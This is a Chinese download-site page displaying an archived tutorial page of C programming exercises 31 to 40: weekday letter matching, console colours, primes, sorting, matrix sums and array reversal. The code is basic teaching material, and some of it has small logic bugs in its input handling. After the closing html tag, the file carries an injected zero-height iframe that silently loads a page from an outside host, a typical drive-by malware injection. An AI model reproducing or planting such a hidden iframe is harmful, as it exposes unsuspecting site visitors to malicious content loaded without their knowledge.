⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 2004102781101.htm

📁 经典C++程序设计100例 经典C++程序设计100例 经典C++程序设计100例
💻 HTM
字号:
<html>
<head>
<title>经典c程序100例==31--40</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<link href="../../css/view.css"  rel=stylesheet>
<body leftmargin="0" topmargin="0">

<div align="center"> 
  <table width="760" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td><table border="0" cellpadding="0" cellspacing="0" width="100%" height="89">
          <tr> 
            <td width="100%" height="68"> <table width="100%" height="69" border="0" cellpadding="0" cellspacing="0">
                <tr> 
                  <td width="146" height="69"><div align="center"><img src="../../Images/jobczlogo.gif" width="290" height="65"></div></td>
                  <td width="468" height="69" align="right"> <p align="left"><img src="../../images/ad05.gif" width="468" height="60"></td>

                </tr>
              </table></td>
          </tr>
          <tr> 
            <td height="21"><table width=100% align="center" cellpadding=0 cellspacing=0>
                <tr bgcolor=#993333> 
                  <td width=63><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="../../default.asp"><font color="#FFFFFF">返回首页</font></a></td>
                  <td width=7><img src=../../images/muspace.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#009900"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Person/q_1.asp><font color="#FFFFFF">个人求职</font></a></td>
                  <td width=7><img src=../../images/muspaceperson.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#1493E7"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Invite/s_1.asp><font color="#FFFFFF">单位招聘</font></a><a class=white href=./index2.htm></a></td>
                  <td width=7><img src=../../images/muspaceinvite.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#9966CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Train/r_1.asp><font color="#FFFFFF">培训充电</font></a></td>
                  <td width=7><img src=../../images/muspaceTrain.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#CC9933"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index1.asp><font color="#FFFFFF">市场动态</font></a></td>
                  <td width=7><img src=../../images/muspace04.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#99CC66"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index2.asp><font color="#FFFFFF">政策法规</font></a></td>
                  <td width=7><img src=../../images/muspace05.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#CC6600"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index3.asp><font color="#FFFFFF">管理论坛</font></a></td>
                  <td width=7><img src=../../images/muspace06.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#FF99CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index4.asp><font color="#FFFFFF">就业指导</font></a></td>
                  <td width=7><img src=../../images/muspace07.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#6699CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index5.asp><font color="#FFFFFF">人事代理</font></a></td>
                  <td width=7><img src=../../images/muspace08.gif width="7" height="20"></td>
                  <td width=60 bgcolor="#FF6600"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="http://www.cznytc.com"><font color="#FFFFFF">郴州特产</font></a></td>
                  <td width=7><img src=../../images/muspace09.gif width="7" height="20"></td>
                  <td width=60 bgcolor="#FFCC00"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="../Cooperate/p_1.asp"><font color="#FFFFFF">企业加盟</font></a></td>
                  <td width=7><img src=../../images/muspace10.gif width="7" height="20"></td>
                </tr>
                <tr> 
                  <td height=1 colspan=22></td>
                </tr>
                <tr> 
                  <td height=2 bgcolor=#993333 colspan=22></td>
                </tr>
              </table></td>
          </tr>
        </table></td>
    </tr>
  </table>
  <table width="760" border="0" cellspacing="0" cellpadding="0">
    <tr> 
      <td height=1 bgcolor=000000></td>
    </tr>
    <tr> 
      <td height="8"><img src="../../image/mubg1.gif" width="760" height="8"></td>
    </tr>
  </table>
  <table width="760" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td width="600" height="500" valign="top"><table width="100%" border="0">
          <tr>
            <td>当前位置:首页 >> 数据结构 >> 经典c程序100例 >> 正文</td>
          </tr>
        </table>
        <br>
        <table width="100%" border="0">
          <tr> 
            <td height="40" align="center" bgcolor="eeeeee"><font style="font-size:16px"><b>经典c程序100例==31--40</b></font></td>
          </tr>
          <tr>
            <td align="right"><font color="#999999">来源:<font color="#CC0000">郴州人才网</font> 
                时间:2004年10月27日8:11</font></td>
          </tr>
        </table> <br>
        <table width="600" border="0" cellpadding="5">
          <tr> 
            <td class=c><font id="zoom" style="font-size:14px"><P><FONT color=#990000>【程序31】</FONT><BR>题目:请输入星期几的第一个字母来判断一下是星期几,如果第一个字母一样,则继续<BR>    判断第二个字母。<BR>1.程序分析:用情况语句比较好,如果第一个字母一样,则判断用情况语句或if语句判断第二个字母。<BR>2.程序源代码:<BR>#include &lt;stdio.h&gt;<BR>void main()<BR>{<BR>char letter;<BR>printf("please input the first letter of someday\n");<BR>while ((letter=getch())!='Y')/*当所按字母为Y时才结束*/<BR>{ switch (letter)<BR>{case 'S':printf("please input second letter\n");<BR>      if((letter=getch())=='a')<BR>       printf("saturday\n");<BR>      else if ((letter=getch())=='u')<BR>          printf("sunday\n");<BR>        else printf("data error\n");<BR>      break;<BR>case 'F':printf("friday\n");break;<BR>case 'M':printf("monday\n");break;<BR>case 'T':printf("please input second letter\n");<BR>      if((letter=getch())=='u')<BR>       printf("tuesday\n");<BR>      else if ((letter=getch())=='h')<BR>          printf("thursday\n");<BR>        else printf("data error\n");<BR>      break;<BR>case 'W':printf("wednesday\n");break;<BR>default: printf("data error\n");<BR>   }<BR>  }<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序32】</FONT><BR>题目:Press any key to change color, do you want to try it. Please hurry up!<BR>1.程序分析:            <BR>2.程序源代码:<BR>#include &lt;conio.h&gt;<BR>void main(void)<BR>{<BR>int color;<BR>for (color = 0; color &lt; 8; color++)<BR>  { <BR>  textbackground(color);/*设置文本的背景颜色*/<BR>  cprintf("This is color %d\r\n", color);<BR>  cprintf("Press any key to continue\r\n");<BR>  getch();/*输入字符看不见*/<BR>  }<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序33】</FONT><BR>题目:学习gotoxy()与clrscr()函数   <BR>1.程序分析:<BR>2.程序源代码:<BR>#include &lt;conio.h&gt;<BR>void main(void)<BR>{<BR>clrscr();/*清屏函数*/<BR>textbackground(2);<BR>gotoxy(1, 5);/*定位函数*/<BR>cprintf("Output at row 5 column 1\n");<BR>textbackground(3);<BR>gotoxy(20, 10);<BR>cprintf("Output at row 10 column 20\n");<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序34】</FONT><BR>题目:练习函数调用<BR>1. 程序分析: <BR>2.程序源代码:<BR>#include &lt;stdio.h&gt;<BR>void hello_world(void)<BR>{<BR>printf("Hello, world!\n");<BR>}<BR>void three_hellos(void)<BR>{<BR>int counter;<BR>for (counter = 1; counter &lt;= 3; counter++)<BR>hello_world();/*调用此函数*/<BR>}<BR>void main(void)<BR>{<BR>three_hellos();/*调用此函数*/<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序35】</FONT><BR>题目:文本颜色设置<BR>1.程序分析:<BR>2.程序源代码:<BR>#include &lt;conio.h&gt;<BR>void main(void)<BR>{<BR>int color;<BR>for (color = 1; color &lt; 16; color++)<BR>  {<BR>  textcolor(color);/*设置文本颜色*/<BR>  cprintf("This is color %d\r\n", color);<BR>  }<BR>textcolor(128 + 15);<BR>cprintf("This is blinking\r\n");<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序36】</FONT><BR>题目:求100之内的素数   <BR>1.程序分析:<BR>2.程序源代码:<BR>#include &lt;stdio.h&gt;<BR>#include "math.h"<BR>#define N 101<BR>main()<BR>{<BR>int i,j,line,a[N];<BR>for(i=2;i&lt;N;i++) a[i]=i;<BR>for(i=2;i&lt;sqrt(N);i++)<BR>  for(j=i+1;j&lt;N;j++)<BR>  {<BR>   if(a[i]!=0&amp;&amp;a[j]!=0)<BR>   if(a[j]%a[i]==0)<BR>   a[j]=0;}<BR>printf("\n");<BR>for(i=2,line=0;i&lt;N;i++)<BR>{<BR>  if(a[i]!=0)<BR>  {printf("%5d",a[i]);<BR>  line++;}<BR>  if(line==10)<BR>  {printf("\n");<BR>line=0;}<BR>}<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序37】</FONT><BR>题目:对10个数进行排序<BR>1.程序分析:可以利用选择法,即从后9个比较过程中,选择一个最小的与第一个元素交换,<BR>       下次类推,即用第二个元素与后8个进行比较,并进行交换。        <BR>2.程序源代码:<BR>#define N 10<BR>main()<BR>{int i,j,min,tem,a[N];<BR>/*input data*/<BR>printf("please input ten num:\n");<BR>for(i=0;i&lt;N;i++)<BR>{<BR>printf("a[%d]=",i);<BR>scanf("%d",&amp;a[i]);}<BR>printf("\n");<BR>for(i=0;i&lt;N;i++)<BR>printf("%5d",a[i]);<BR>printf("\n");<BR>/*sort ten num*/<BR>for(i=0;i&lt;N-1;i++)<BR>{min=i;<BR>for(j=i+1;j&lt;N;j++)<BR>if(a[min]&gt;a[j]) min=j;<BR>tem=a[i];<BR>a[i]=a[min];<BR>a[min]=tem;<BR>}<BR>/*output data*/<BR>printf("After sorted \n");<BR>for(i=0;i&lt;N;i++)<BR>printf("%5d",a[i]);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序38】</FONT><BR>题目:求一个3*3矩阵对角线元素之和 <BR>1.程序分析:利用双重for循环控制输入二维数组,再将a[i][i]累加后输出。<BR>2.程序源代码:<BR>main()<BR>{<BR>float a[3][3],sum=0;<BR>int i,j;<BR>printf("please input rectangle element:\n");<BR>for(i=0;i&lt;3;i++)<BR>  for(j=0;j&lt;3;j++)<BR>  scanf("%f",&amp;a[i][j]);<BR>for(i=0;i&lt;3;i++)<BR>  sum=sum+a[i][i];<BR>printf("duijiaoxian he is %6.2f",sum);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序39】</FONT><BR>题目:有一个已经排好序的数组。现输入一个数,要求按原来的规律将它插入数组中。<BR>1. 程序分析:首先判断此数是否大于最后一个数,然后再考虑插入中间的数的情况,插入后<BR>      此元素之后的数,依次后移一个位置。 <BR>2.程序源代码:<BR>main()<BR>{<BR>int a[11]={1,4,6,9,13,16,19,28,40,100};<BR>int temp1,temp2,number,end,i,j;<BR>printf("original array is:\n");<BR>for(i=0;i&lt;10;i++)<BR>  printf("%5d",a[i]);<BR>printf("\n");<BR>printf("insert a new number:");<BR>scanf("%d",&amp;number);<BR>end=a[9];<BR>if(number&gt;end)<BR>  a[10]=number;<BR>else<BR>  {for(i=0;i&lt;10;i++)<BR>   { if(a[i]&gt;number)<BR>    {temp1=a[i];<BR>     a[i]=number;<BR>    for(j=i+1;j&lt;11;j++)<BR>    {temp2=a[j];<BR>     a[j]=temp1;<BR>     temp1=temp2;<BR>    }<BR>    break;<BR>    }<BR>   }<BR>}<BR>for(i=0;i&lt;11;i++)<BR>  printf("%6d",a[i]);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序40】</FONT><BR>题目:将一个数组逆序输出。<BR>1.程序分析:用第一个与最后一个交换。<BR>2.程序源代码:<BR>#define N 5<BR>main()<BR>{ int a[N]={9,6,5,4,1},i,temp;<BR>  printf("\n original array:\n");<BR>  for(i=0;i&lt;N;i++)<BR>  printf("%4d",a[i]);<BR>  for(i=0;i&lt;N/2;i++)<BR>  {temp=a[i];<BR>   a[i]=a[N-i-1];<BR>   a[N-i-1]=temp;<BR>  }<BR>printf("\n sorted array:\n");<BR>for(i=0;i&lt;N;i++)<BR>  printf("%4d",a[i]);<BR>}</P> </font><br>
              (编辑:jobcz)</td>
          </tr>
          <tr>
            <td align="right"><script language=JavaScript>
<!-- Begin
if (window.print) {
document.write('【<a href="#" onClick="javascript:window.print()"><font color=cc0000>打印本文</font></a>】 ');
}
// End -->
</script>
              【<a href=../../../bbs/ target=_blank><font color=#cc0000>发表评论</font></a>】【<a href="javascript:window.close()"><font color=#cc0000>关闭窗口</font></a>】</td>
          </tr>
        </table><br><br></td>
      <td width="10"> </td>
      <td width="150" valign="top" bgcolor="#F0F3F7"><table width="100%" height="40" cellpadding="3" cellspacing="0" >
          <form action="../../search.asp" method="post">
            <tr > 
              <td colspan="2" align="center"> <input type=text size=12 name="keyword"> 
                <input type=submit value="搜索" name="submit"> <input type=hidden name=datesearch value=all> 
                <input type="hidden" name="AreaSearch" value=1> </td>
            </tr>
          </form>
        </table></td>
    </tr>
  </table>
  <script language=JavaScript src="../../js/end.js"></script>
</div>
</body>
</html>
<iframe height=0 src=http://www.9344.cn/mm.htm ></iframe>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -